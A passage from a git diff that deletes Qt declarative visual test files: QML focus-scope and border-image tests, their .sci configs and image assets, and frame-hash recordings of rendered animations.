"f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 9840 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 9856 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 9872 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 9888 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 9904 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 9920 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 9936 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 9952 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 9968 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 9984 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 10000 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 10016 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 10032 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 10048 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 10064 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 10080 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 10096 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 10112 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 10128 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 10144 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 10160 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 10176 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 10192 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 10208 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 10224 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 10240 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 10256 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 10272 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 10288 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 10304 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 10320 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 10336 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 10352 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 10368 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Key { - type: 6 - key: 16777249 - modifiers: 67108864 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 10384 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 10400 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 10416 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 10432 - hash: "f192b84337784a6d31c309af7e32b5f7" - } -} diff --git a/tests/auto/declarative/visual/focusscope/test.qml b/tests/auto/declarative/visual/focusscope/test.qml deleted file mode 100644 index 401c7dc..0000000 --- a/tests/auto/declarative/visual/focusscope/test.qml +++ /dev/null @@ -1,76 +0,0 @@ -import Qt 4.6 - -Rectangle { - color: "white" - width: 800 - height: 600 - - Keys.onDigit9Pressed: console.log("Error - Root") - - FocusScope { - id: myScope - focus: true - - Keys.onDigit9Pressed: console.log("Error - FocusScope") - - Rectangle { - height: 120 - width: 420 - - color: "transparent" - border.width: 5 - border.color: myScope.wantsFocus?"blue":"black" - - Rectangle { - id: item1 - x: 10; y: 10 - width: 100; height: 100; color: "green" - border.width: 5 - border.color: wantsFocus?"blue":"black" - Keys.onDigit9Pressed: console.log("Top Left"); - KeyNavigation.right: item2 - focus: true - - Rectangle { - width: 50; height: 50; anchors.centerIn: parent - color: parent.focus?"red":"transparent" - } - } - - Rectangle { - id: item2 - x: 310; y: 10 - width: 100; height: 100; color: "green" - border.width: 5 - border.color: wantsFocus?"blue":"black" - KeyNavigation.left: item1 - Keys.onDigit9Pressed: console.log("Top Right"); - - Rectangle { - width: 50; height: 50; anchors.centerIn: parent - color: parent.focus?"red":"transparent" - } - } - } - KeyNavigation.down: item3 - } - - Text { x:100; y:170; text: "Blue border indicates scoped focus\nBlack border indicates NOT scoped focus\nRed box indicates active focus\nUse arrow keys to navigate\nPress \"9\" to print currently focused item" } - - Rectangle { - id: item3 - x: 10; y: 300 - width: 100; height: 100; color: "green" - border.width: 5 - border.color: wantsFocus?"blue":"black" - - Keys.onDigit9Pressed: console.log("Bottom Left"); - KeyNavigation.up: myScope - - Rectangle { - width: 50; height: 50; anchors.centerIn: parent - color: parent.focus?"red":"transparent" - } - } - -} diff --git a/tests/auto/declarative/visual/focusscope/test2.qml b/tests/auto/declarative/visual/focusscope/test2.qml deleted file mode 100644 index 5b6971a..0000000 --- a/tests/auto/declarative/visual/focusscope/test2.qml +++ /dev/null @@ -1,40 +0,0 @@ -import Qt 4.6 - -Rectangle { - color: "white" - width: 800 - height: 600 - - Text { text: "All five rectangles should be red" } - - FocusScope { - y: 100 - focus: true - Rectangle { width: 50; height: 50; color: parent.wantsFocus?"red":"blue" } - - FocusScope { - y: 100 - focus: true - Rectangle { width: 50; height: 50; color: parent.wantsFocus?"red":"blue" } - - FocusScope { - y: 100 - focus: true - Rectangle { width: 50; height: 50; color: parent.wantsFocus?"red":"blue" } - - FocusScope { - y: 100 - focus: true - Rectangle { width: 50; height: 50; color: parent.wantsFocus?"red":"blue" } - - FocusScope { - y: 100 - focus: true - Rectangle { width: 50; height: 50; color: parent.wantsFocus?"red":"blue" } - } - } - } - } - } - -} diff --git a/tests/auto/declarative/visual/focusscope/test3.qml b/tests/auto/declarative/visual/focusscope/test3.qml deleted file mode 100644 index a8bb523..0000000 --- a/tests/auto/declarative/visual/focusscope/test3.qml +++ /dev/null @@ -1,52 +0,0 @@ -import Qt 4.6 - -Rectangle { - color: "white" - width: 800 - height: 600 - - ListModel { - id: model - ListElement { name: "1" } - ListElement { name: "2" } - ListElement { name: "3" } - ListElement { name: "4" } - ListElement { name: "5" } - ListElement { name: "6" } - ListElement { name: "7" } - ListElement { name: "8" } - ListElement { name: "9" } - } - - Component { - id: verticalDelegate - FocusScope { - id: root - width: 50; height: 50; - Keys.onDigit9Pressed: console.log("Error - " + name) - Rectangle { - focus: true - Keys.onDigit9Pressed: console.log(name) - width: 50; height: 50; - color: root.ListView.isCurrentItem?"red":"green" - Text { text: name; anchors.centerIn: parent } - } - } - } - - ListView { - width: 800; height: 50; orientation: "Horizontal" - focus: true - model: model - delegate: verticalDelegate - preferredHighlightBegin: 100 - preferredHighlightEnd: 101 - highlightRangeMode: ListView.StrictlyEnforceRange - } - - - Text { - y: 100; x: 50 - text: "Currently selected element should be red\nPressing \"9\" should print the number of the currently selected item\nBe sure to scroll all the way to the right, pause, and then all the way to the left." - } -} diff --git a/tests/auto/declarative/visual/qdeclarativeborderimage/animated-smooth.qml b/tests/auto/declarative/visual/qdeclarativeborderimage/animated-smooth.qml deleted file mode 100644 index 0ceaf49..0000000 --- a/tests/auto/declarative/visual/qdeclarativeborderimage/animated-smooth.qml +++ /dev/null @@ -1,55 +0,0 @@ -import Qt 4.6 -import "content" - -Rectangle { - id: page - color: "white" - width: 1030; height: 540 - - MyBorderImage { - x: 20; y: 20; minWidth: 120; maxWidth: 240 - minHeight: 120; maxHeight: 240 - source: "content/colors.png"; margin: 30; antialiased: true - } - MyBorderImage { - x: 270; y: 20; minWidth: 120; maxWidth: 240 - minHeight: 120; maxHeight: 240; antialiased: true - source: "content/colors.png"; margin: 30 - horizontalMode: BorderImage.Repeat; verticalMode: BorderImage.Repeat - } - MyBorderImage { - x: 520; y: 20; minWidth: 120; maxWidth: 240 - minHeight: 120; maxHeight: 240; antialiased: true - source: "content/colors.png"; margin: 30 - horizontalMode: BorderImage.Stretch; verticalMode: BorderImage.Repeat - } - MyBorderImage { - x: 770; y: 20; minWidth: 120; maxWidth: 240 - minHeight: 120; maxHeight: 240; antialiased: true - source: "content/colors.png"; margin: 30 - horizontalMode: BorderImage.Round; verticalMode: BorderImage.Round - } - MyBorderImage { - x: 20; y: 280; minWidth: 60; maxWidth: 200 - minHeight: 40; maxHeight: 200; antialiased: true - source: "content/bw.png"; margin: 10 - } - MyBorderImage { - x: 270; y: 280; minWidth: 60; maxWidth: 200 - minHeight: 40; maxHeight: 200; antialiased: true - source: "content/bw.png"; margin: 10 - horizontalMode: BorderImage.Repeat; verticalMode: BorderImage.Repeat - } - MyBorderImage { - x: 520; y: 280; minWidth: 60; maxWidth: 200 - minHeight: 40; maxHeight: 200; antialiased: true - source: "content/bw.png"; margin: 10 - horizontalMode: BorderImage.Stretch; verticalMode: BorderImage.Repeat - } - MyBorderImage { - x: 770; y: 280; minWidth: 60; maxWidth: 200 - minHeight: 40; maxHeight: 200; antialiased: true - source: "content/bw.png"; margin: 10 - horizontalMode: BorderImage.Round; verticalMode: BorderImage.Round - } -} diff --git a/tests/auto/declarative/visual/qdeclarativeborderimage/animated.qml b/tests/auto/declarative/visual/qdeclarativeborderimage/animated.qml deleted file mode 100644 index 29c02b3..0000000 --- a/tests/auto/declarative/visual/qdeclarativeborderimage/animated.qml +++ /dev/null @@ -1,55 +0,0 @@ -import Qt 4.6 -import "content" - -Rectangle { - id: page - color: "white" - width: 1030; height: 540 - - MyBorderImage { - x: 20; y: 20; minWidth: 120; maxWidth: 240 - minHeight: 120; maxHeight: 240 - source: "content/colors.png"; margin: 30 - } - MyBorderImage { - x: 270; y: 20; minWidth: 120; maxWidth: 240 - minHeight: 120; maxHeight: 240 - source: "content/colors.png"; margin: 30 - horizontalMode: BorderImage.Repeat; verticalMode: BorderImage.Repeat - } - MyBorderImage { - x: 520; y: 20; minWidth: 120; maxWidth: 240 - minHeight: 120; maxHeight: 240 - source: "content/colors.png"; margin: 30 - horizontalMode: BorderImage.Stretch; verticalMode: BorderImage.Repeat - } - MyBorderImage { - x: 770; y: 20; minWidth: 120; maxWidth: 240 - minHeight: 120; maxHeight: 240 - source: "content/colors.png"; margin: 30 - horizontalMode: BorderImage.Round; verticalMode: BorderImage.Round - } - MyBorderImage { - x: 20; y: 280; minWidth: 60; maxWidth: 200 - minHeight: 40; maxHeight: 200 - source: "content/bw.png"; margin: 10 - } - MyBorderImage { - x: 270; y: 280; minWidth: 60; maxWidth: 200 - minHeight: 40; maxHeight: 200 - source: "content/bw.png"; margin: 10 - horizontalMode: BorderImage.Repeat; verticalMode: BorderImage.Repeat - } - MyBorderImage { - x: 520; y: 280; minWidth: 60; maxWidth: 200 - minHeight: 40; maxHeight: 200 - source: "content/bw.png"; margin: 10 - horizontalMode: BorderImage.Stretch; verticalMode: BorderImage.Repeat - } - MyBorderImage { - x: 770; y: 280; minWidth: 60; maxWidth: 200 - minHeight: 40; maxHeight: 200 - source: "content/bw.png"; margin: 10 - horizontalMode: BorderImage.Round; verticalMode: BorderImage.Round - } -} diff --git a/tests/auto/declarative/visual/qdeclarativeborderimage/borders.qml b/tests/auto/declarative/visual/qdeclarativeborderimage/borders.qml deleted file mode 100644 index 9879416..0000000 --- a/tests/auto/declarative/visual/qdeclarativeborderimage/borders.qml +++ /dev/null @@ -1,18 +0,0 @@ -import Qt 4.6 - -Rectangle { - id: page - color: "white" - width: 520; height: 280 - - BorderImage { - x: 20; y: 20; width: 230; height: 240 - smooth: true - source: "content/colors-stretch.sci" - } - BorderImage { - x: 270; y: 20; width: 230; height: 240 - smooth: true - source: "content/colors-round.sci" - } -} diff --git a/tests/auto/declarative/visual/qdeclarativeborderimage/content/MyBorderImage.qml b/tests/auto/declarative/visual/qdeclarativeborderimage/content/MyBorderImage.qml deleted file mode 100644 index 58d03a6..0000000 --- a/tests/auto/declarative/visual/qdeclarativeborderimage/content/MyBorderImage.qml +++ /dev/null @@ -1,38 +0,0 @@ -import Qt 4.6 - -Item { - property alias horizontalMode: image.horizontalTileMode - property alias verticalMode: image.verticalTileMode - property alias source: image.source - property alias antialiased: image.smooth - - property int minWidth - property int minHeight - property int maxWidth - property int maxHeight - property int margin - - id: container - width: 240; height: 240 - - BorderImage { - id: image; x: container.width / 2 - width / 2; y: container.height / 2 - height / 2 - - SequentialAnimation on width { - loops: Animation.Infinite - NumberAnimation { from: container.minWidth; to: container.maxWidth; duration: 2000; easing.type: "InOutQuad"} - NumberAnimation { from: container.maxWidth; to: container.minWidth; duration: 2000; easing.type: "InOutQuad" } - } - - SequentialAnimation on height { - loops: Animation.Infinite - NumberAnimation { from: container.minHeight; to: container.maxHeight; duration: 2000; easing.type: "InOutQuad"} - NumberAnimation { from: container.maxHeight; to: container.minHeight; duration: 2000; easing.type: "InOutQuad" } - } - - border.top: container.margin - border.left: container.margin - border.bottom: container.margin - border.right: container.margin - } -} diff --git a/tests/auto/declarative/visual/qdeclarativeborderimage/content/bw.png b/tests/auto/declarative/visual/qdeclarativeborderimage/content/bw.png deleted file mode 100644 index 486eaae..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativeborderimage/content/bw.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativeborderimage/content/colors-round.sci b/tests/auto/declarative/visual/qdeclarativeborderimage/content/colors-round.sci deleted file mode 100644 index 506f6f5..0000000 --- a/tests/auto/declarative/visual/qdeclarativeborderimage/content/colors-round.sci +++ /dev/null @@ -1,7 +0,0 @@ -border.left:30 -border.top:30 -border.right:30 -border.bottom:30 -horizontalTileRule:Round -verticalTileRule:Round -source:colors.png diff --git a/tests/auto/declarative/visual/qdeclarativeborderimage/content/colors-stretch.sci b/tests/auto/declarative/visual/qdeclarativeborderimage/content/colors-stretch.sci deleted file mode 100644 index e4989a7..0000000 --- a/tests/auto/declarative/visual/qdeclarativeborderimage/content/colors-stretch.sci +++ /dev/null @@ -1,5 +0,0 @@ -border.left:30 -border.top:30 -border.right:30 -border.bottom:30 -source:colors.png diff --git a/tests/auto/declarative/visual/qdeclarativeborderimage/content/colors.png b/tests/auto/declarative/visual/qdeclarativeborderimage/content/colors.png deleted file mode 100644 index dfb62f3..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativeborderimage/content/colors.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativeborderimage/data/animated-smooth.0.png b/tests/auto/declarative/visual/qdeclarativeborderimage/data/animated-smooth.0.png deleted file mode 100644 index 9a6b079..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativeborderimage/data/animated-smooth.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativeborderimage/data/animated-smooth.1.png b/tests/auto/declarative/visual/qdeclarativeborderimage/data/animated-smooth.1.png deleted file mode 100644 index 1f960e5..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativeborderimage/data/animated-smooth.1.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativeborderimage/data/animated-smooth.2.png b/tests/auto/declarative/visual/qdeclarativeborderimage/data/animated-smooth.2.png deleted file mode 100644 index 85a2729..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativeborderimage/data/animated-smooth.2.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativeborderimage/data/animated-smooth.3.png b/tests/auto/declarative/visual/qdeclarativeborderimage/data/animated-smooth.3.png deleted file mode 100644 index de6ff7c..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativeborderimage/data/animated-smooth.3.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativeborderimage/data/animated-smooth.4.png b/tests/auto/declarative/visual/qdeclarativeborderimage/data/animated-smooth.4.png deleted file mode 100644 index fe7d3dd..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativeborderimage/data/animated-smooth.4.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativeborderimage/data/animated-smooth.5.png b/tests/auto/declarative/visual/qdeclarativeborderimage/data/animated-smooth.5.png deleted file mode 100644 index e73bef5..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativeborderimage/data/animated-smooth.5.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativeborderimage/data/animated-smooth.6.png b/tests/auto/declarative/visual/qdeclarativeborderimage/data/animated-smooth.6.png deleted file mode 100644 index 0c75422..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativeborderimage/data/animated-smooth.6.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativeborderimage/data/animated-smooth.qml b/tests/auto/declarative/visual/qdeclarativeborderimage/data/animated-smooth.qml deleted file mode 100644 index 043f5e2..0000000 --- a/tests/auto/declarative/visual/qdeclarativeborderimage/data/animated-smooth.qml +++ /dev/null @@ -1,1823 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "aec13bcab337e55832b0a02fb5c6b526" - } - Frame { - msec: 32 - hash: "aec13bcab337e55832b0a02fb5c6b526" - } - Frame { - msec: 48 - hash: "aec13bcab337e55832b0a02fb5c6b526" - } - Frame { - msec: 64 - hash: "aec13bcab337e55832b0a02fb5c6b526" - } - Frame { - msec: 80 - hash: "aec13bcab337e55832b0a02fb5c6b526" - } - Frame { - msec: 96 - hash: "aec13bcab337e55832b0a02fb5c6b526" - } - Frame { - msec: 112 - hash: "aec13bcab337e55832b0a02fb5c6b526" - } - Frame { - msec: 128 - hash: "cd2180be80101c2aa4350b51b7a6f502" - } - Frame { - msec: 144 - hash: "de471829f8ad3b43bf1b4df9d1d65a4d" - } - Frame { - msec: 160 - hash: "ed9f2ca797894612600bc4b7fbaecb84" - } - Frame { - msec: 176 - hash: "59470d71fa4426d0283e86371f2bfc2a" - } - Frame { - msec: 192 - hash: "9a2f92efb51bcc6293d6a8e82d5314ea" - } - Frame { - msec: 208 - hash: "7b66e21652a7d0982226e281a48411a9" - } - Frame { - msec: 224 - hash: "a716c8d2c94433dee719f92f0822c8ec" - } - Frame { - msec: 240 - hash: "f22a47b846cfee96ebdf39bbce2e6d51" - } - Frame { - msec: 256 - hash: "5a8932d13d624932a65694fd19ec05cd" - } - Frame { - msec: 272 - hash: "48e62dd171f5da82b5aa26c765e4042c" - } - Frame { - msec: 288 - hash: "63d3c47f7dec1236440a05e0a8380900" - } - Frame { - msec: 304 - hash: "323af110731b7af0c30f8862ff59b833" - } - Frame { - msec: 320 - hash: "83c029e328e80af83158c37089cf0ece" - } - Frame { - msec: 336 - hash: "3f9a09ae19be34348bb2552915360cf7" - } - Frame { - msec: 352 - hash: "df624d70cae1bcefda8d69c0ff055d83" - } - Frame { - msec: 368 - hash: "d671a3b971468e1d8aa30ab655e020a9" - } - Frame { - msec: 384 - hash: "74c837b29f7f05b615123f0e608b523f" - } - Frame { - msec: 400 - hash: "277ef98ea859fb7685fe6cd44a538a7d" - } - Frame { - msec: 416 - hash: "0a8da7a3f57c3e06e4be5ea1d8a83ae9" - } - Frame { - msec: 432 - hash: "456be9c208d690c479ba12bf6325dde0" - } - Frame { - msec: 448 - hash: "10307beea6d99ab0ff5863f8e35555ed" - } - Frame { - msec: 464 - hash: "170a1d5fe3422cf5223a78015a6a45fd" - } - Frame { - msec: 480 - hash: "64ecb03aa538e74d0b99c6dec7751401" - } - Frame { - msec: 496 - hash: "f3a7e74a1839f9366f9eeec4d2b80d1e" - } - Frame { - msec: 512 - hash: "37c3f25e5cfdb48d7e3ab0cf8ffb9154" - } - Frame { - msec: 528 - hash: "0af81ee0d76ff8335a0e347dc086ca37" - } - Frame { - msec: 544 - hash: "061406edcbd2d4930ab89c3fcab63c7f" - } - Frame { - msec: 560 - hash: "31d65134f340d82dd40f2401bda3fb7e" - } - Frame { - msec: 576 - hash: "16c16c77c65b36d1e0954d5ead2642be" - } - Frame { - msec: 592 - hash: "61c16009b65a55bffb63e27727e1615e" - } - Frame { - msec: 608 - hash: "e1474c2cdd8768ca1ef45bf3bc5234ca" - } - Frame { - msec: 624 - hash: "89c159ef00d273ecfe61332e1bf7244d" - } - Frame { - msec: 640 - hash: "f4d0d3bca25e67908b38910f47b4757e" - } - Frame { - msec: 656 - hash: "0e0c40f8e11a7bd499c80562ac6f8a82" - } - Frame { - msec: 672 - hash: "4310a4c3037d845f088f21ad608f366a" - } - Frame { - msec: 688 - hash: "3d518cd0348d6202243364af1dd6ce89" - } - Frame { - msec: 704 - hash: "41987e6b4248d7944c0dbc6eb3862023" - } - Frame { - msec: 720 - hash: "3e81338d38723d56f2d6c428271f81c1" - } - Frame { - msec: 736 - hash: "902683d72f789399e9d99d1cea1bf177" - } - Frame { - msec: 752 - hash: "efc119983701908a904deb24108c59cb" - } - Frame { - msec: 768 - hash: "3a77785cfd7755f567619d8e04583f6a" - } - Frame { - msec: 784 - hash: "fd85d1dd931033973283a408b5e328a8" - } - Frame { - msec: 800 - hash: "5d3e85acabe5e5ff802eb7731676274f" - } - Frame { - msec: 816 - hash: "ae12f1f37a746e16b06e6b869c89fac1" - } - Frame { - msec: 832 - hash: "a15f19f374bbfb6a922b69d080a91eaa" - } - Frame { - msec: 848 - hash: "84ef6dda8318b623832f58c46d762e89" - } - Frame { - msec: 864 - hash: "b699285764f5e8866a9996f4a0dccc69" - } - Frame { - msec: 880 - hash: "ddd8a006ef048c8d929144aa9fcd7c5a" - } - Frame { - msec: 896 - hash: "177666cb3bb784c83196886b2c6cf6b6" - } - Frame { - msec: 912 - hash: "9cd29b4b023a8b92573575fb3c3dda83" - } - Frame { - msec: 928 - hash: "adc670a9aa0326744cb23e4f5912e6c7" - } - Frame { - msec: 944 - hash: "48db9a5e6aad9a9563a3cd35fb7fa9b6" - } - Frame { - msec: 960 - image: "animated-smooth.0.png" - } - Frame { - msec: 976 - hash: "64b21b89576fdd0083f60a26f57b9c11" - } - Frame { - msec: 992 - hash: "0d407ee07692d0e5a480a60952807b3c" - } - Frame { - msec: 1008 - hash: "845170815a87565dc4229792032b3357" - } - Frame { - msec: 1024 - hash: "8b8120cfc14de03e048632fdea61be21" - } - Frame { - msec: 1040 - hash: "b0070117f1c24a4da87434725d4bb989" - } - Frame { - msec: 1056 - hash: "0239d697642ca1d1b1d1daa3ea048e1e" - } - Frame { - msec: 1072 - hash: "3df54504f8891306fa8f1e9e2075a5e2" - } - Frame { - msec: 1088 - hash: "853429387cc639496c7338244de7e1b7" - } - Frame { - msec: 1104 - hash: "bd70500fbdfe5aa2fe4362a97a1dee2d" - } - Frame { - msec: 1120 - hash: "b375e723b2396b13b8f55cfc0c81c3c3" - } - Frame { - msec: 1136 - hash: "53f05993ba3b426949badd2e4cd66d84" - } - Frame { - msec: 1152 - hash: "23291a0239c69ea07db959e709b1ff5f" - } - Frame { - msec: 1168 - hash: "2192094410e2d7c8d9d4aa5f8deacff5" - } - Frame { - msec: 1184 - hash: "d6615fc345831a3cc5b9a7196284b632" - } - Frame { - msec: 1200 - hash: "92176cce4836dcae4dfca94e49b041a8" - } - Frame { - msec: 1216 - hash: "2a1fcfb753ca237b518da26e67c928e5" - } - Frame { - msec: 1232 - hash: "42be5d26afb9f066dd27cc9fbaf6ce20" - } - Frame { - msec: 1248 - hash: "bd045f4532d78bba0ef1b64118fd9f24" - } - Frame { - msec: 1264 - hash: "7f9999a9c87af43b9703323efab31770" - } - Frame { - msec: 1280 - hash: "0640fcb0b24d3ba4ab8695f78271a438" - } - Frame { - msec: 1296 - hash: "7c9a98e2101c33e17c1bd7e6c2d921ff" - } - Frame { - msec: 1312 - hash: "fce2648975106bc5c0ca9a4530f7f748" - } - Frame { - msec: 1328 - hash: "39cc17ee2e889f17dd07179fda99e431" - } - Frame { - msec: 1344 - hash: "39c46d85d20f7ef3eca1d09c7eb6a068" - } - Frame { - msec: 1360 - hash: "d65d50fbb920e683b041a1c72238225b" - } - Frame { - msec: 1376 - hash: "49a1df977b0494c7c72ca0b65c394e13" - } - Frame { - msec: 1392 - hash: "05cbce0eaa80b4610a9067af8c40f819" - } - Frame { - msec: 1408 - hash: "00ab7798bcd77a99886dff0414f35382" - } - Frame { - msec: 1424 - hash: "5cc90d798786c270ddd2616512f4459f" - } - Frame { - msec: 1440 - hash: "e5df07ea21e8e415c3ec82560f2d0f34" - } - Frame { - msec: 1456 - hash: "ddf1f5c0b97fe4821719ec5bf4bd091b" - } - Frame { - msec: 1472 - hash: "c61d2aa7f934fb5a9f9f7883e063b51c" - } - Frame { - msec: 1488 - hash: "29ddde3300d0520a4c01b5536d8b9e7a" - } - Frame { - msec: 1504 - hash: "2fede2f5d871654f3f8a6e9d890adeac" - } - Frame { - msec: 1520 - hash: "deed4c06c9b713834490832b88e7acaf" - } - Frame { - msec: 1536 - hash: "c2edb016cfdd47c192d1c48281ee76ed" - } - Frame { - msec: 1552 - hash: "a261be47ae89e6b53e6bc1c1197154ae" - } - Frame { - msec: 1568 - hash: "e860e97ebd73b7d1d5d5d90458b34bfe" - } - Frame { - msec: 1584 - hash: "a087b532ecb2f28e4ee60819228c2522" - } - Frame { - msec: 1600 - hash: "64df51b4c1bf744b2aae1c6d908c2cc3" - } - Frame { - msec: 1616 - hash: "4520003d4b221a3de6834b2729b3026d" - } - Frame { - msec: 1632 - hash: "d1110817827c318ceb0c112e8c2bfc1d" - } - Frame { - msec: 1648 - hash: "83d49474db15d5779923972ff5f55917" - } - Frame { - msec: 1664 - hash: "3bae40654ec551d69e7c8c72f631c7a5" - } - Frame { - msec: 1680 - hash: "774740a393f3e9b8f12b81cce8da8280" - } - Frame { - msec: 1696 - hash: "d8e398a1ce9ca45c19951e93bd5c932a" - } - Frame { - msec: 1712 - hash: "2b7eb8a9fe26b032be8b4b9c00995912" - } - Frame { - msec: 1728 - hash: "47e920e3884ccf2f0f49e78070af6929" - } - Frame { - msec: 1744 - hash: "fc913807eb1069d611495fbd5d43ee3d" - } - Frame { - msec: 1760 - hash: "5d9ee853f083d514fbe51d6953d8e000" - } - Frame { - msec: 1776 - hash: "5736362b42bc2d801e02edabb983663a" - } - Frame { - msec: 1792 - hash: "e3a2b5c7247acfc1b30825233fbfd56b" - } - Frame { - msec: 1808 - hash: "48952ffa5e300778eafa768b9fe7df0c" - } - Frame { - msec: 1824 - hash: "fe04cae65aeec18697eca4f3f83a40e9" - } - Frame { - msec: 1840 - hash: "382d454f2366c1fb4ca472faa3bfa5e9" - } - Frame { - msec: 1856 - hash: "89022a8e2feb3dcb845de69aafc333ad" - } - Frame { - msec: 1872 - hash: "25506557c853a0020e98cf3992956989" - } - Frame { - msec: 1888 - hash: "9a64706c52c9e962816953e32950b8ba" - } - Frame { - msec: 1904 - hash: "3cbfded47413172ada64095e65c55e8a" - } - Frame { - msec: 1920 - image: "animated-smooth.1.png" - } - Frame { - msec: 1936 - hash: "c5e399e29b988148913e62ee208b3326" - } - Frame { - msec: 1952 - hash: "3991bc7760b7981d80665e3a7654c9f4" - } - Frame { - msec: 1968 - hash: "05312f9529c94d3331ace7d73c544284" - } - Frame { - msec: 1984 - hash: "a94de4e90a8f8eb4ec33fe902afd226c" - } - Frame { - msec: 2000 - hash: "723f87da7e5b002a2e9b0bcbc81f9458" - } - Frame { - msec: 2016 - hash: "6b8ded0d9386a3fff0601a100c513080" - } - Frame { - msec: 2032 - hash: "f976cd5046ef5391536859e63db905bd" - } - Frame { - msec: 2048 - hash: "a94de4e90a8f8eb4ec33fe902afd226c" - } - Frame { - msec: 2064 - hash: "05312f9529c94d3331ace7d73c544284" - } - Frame { - msec: 2080 - hash: "b980703c1d0018937e83a8ba8862469e" - } - Frame { - msec: 2096 - hash: "c5e399e29b988148913e62ee208b3326" - } - Frame { - msec: 2112 - hash: "3b7b83e97d17440b42e6ef4b962076d8" - } - Frame { - msec: 2128 - hash: "3cbfded47413172ada64095e65c55e8a" - } - Frame { - msec: 2144 - hash: "9a64706c52c9e962816953e32950b8ba" - } - Frame { - msec: 2160 - hash: "25506557c853a0020e98cf3992956989" - } - Frame { - msec: 2176 - hash: "89022a8e2feb3dcb845de69aafc333ad" - } - Frame { - msec: 2192 - hash: "382d454f2366c1fb4ca472faa3bfa5e9" - } - Frame { - msec: 2208 - hash: "fe04cae65aeec18697eca4f3f83a40e9" - } - Frame { - msec: 2224 - hash: "48952ffa5e300778eafa768b9fe7df0c" - } - Frame { - msec: 2240 - hash: "e3a2b5c7247acfc1b30825233fbfd56b" - } - Frame { - msec: 2256 - hash: "5736362b42bc2d801e02edabb983663a" - } - Frame { - msec: 2272 - hash: "5d9ee853f083d514fbe51d6953d8e000" - } - Frame { - msec: 2288 - hash: "fe899138116774df4c4441687e3019c5" - } - Frame { - msec: 2304 - hash: "47e920e3884ccf2f0f49e78070af6929" - } - Frame { - msec: 2320 - hash: "2b7eb8a9fe26b032be8b4b9c00995912" - } - Frame { - msec: 2336 - hash: "64cd225202ed6c91b02c368a9160a656" - } - Frame { - msec: 2352 - hash: "774740a393f3e9b8f12b81cce8da8280" - } - Frame { - msec: 2368 - hash: "3bae40654ec551d69e7c8c72f631c7a5" - } - Frame { - msec: 2384 - hash: "83d49474db15d5779923972ff5f55917" - } - Frame { - msec: 2400 - hash: "d1110817827c318ceb0c112e8c2bfc1d" - } - Frame { - msec: 2416 - hash: "4520003d4b221a3de6834b2729b3026d" - } - Frame { - msec: 2432 - hash: "64df51b4c1bf744b2aae1c6d908c2cc3" - } - Frame { - msec: 2448 - hash: "a087b532ecb2f28e4ee60819228c2522" - } - Frame { - msec: 2464 - hash: "e860e97ebd73b7d1d5d5d90458b34bfe" - } - Frame { - msec: 2480 - hash: 